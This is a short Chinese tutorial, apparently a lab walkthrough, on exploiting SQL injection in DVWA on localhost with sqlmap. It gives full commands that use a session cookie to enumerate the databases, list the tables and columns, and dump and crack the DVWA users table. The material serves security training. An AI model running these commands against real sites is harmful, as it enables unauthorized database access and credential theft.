可能要用到的参数：
-u 指定URL
--cookie 带cookie注入
爆库：
--dbs 发现所有数据库 （参数前有空格）
列出数据库：
--tables 列出数据库表 （参数前有空格）
-D 选择数据库
首先一定先把难度调为low
当写1-5的时候，都会有值出来
直接上工具
如下：Sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id =1&submit=sublit#"
有一个302跳转，跳转到的是登录页面，所以这个时候需要使用cookie进行会话维持，然后使用burpsuite或者是f12都行，找到cookie：
security=low; PHPSESSID=9l4drsb9mipq735o12i8pmoub5
构造语句：sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID=9l4drsb9mipq735o12i8pmoub5"
得到的值：
然后进行爆数据库处理：sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID=9l4drsb9mipq735o12i8pmoub5" --dbs
得到的结果如下：
看到了我们想要的
列出数据库表：
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID=9l4drsb9mipq735o12i8pmoub5" --tables -D dvwa
-D选项是选择数据库为dvwa
然后
列出users表的所有字段
–columns -T “users”<列出mysql数据库中的user表的所有字段> （columns参数前带空格）
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID=9l4drsb9mipq735o12i8pmoub5" --columns -T users //两个--
然后就是使用字典（自带）进行解密
-T users --dump
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID=9l4drsb9mipq735o12i8pmoub5" -T users --dump
中间是y 1 n 回车
结果就出来啦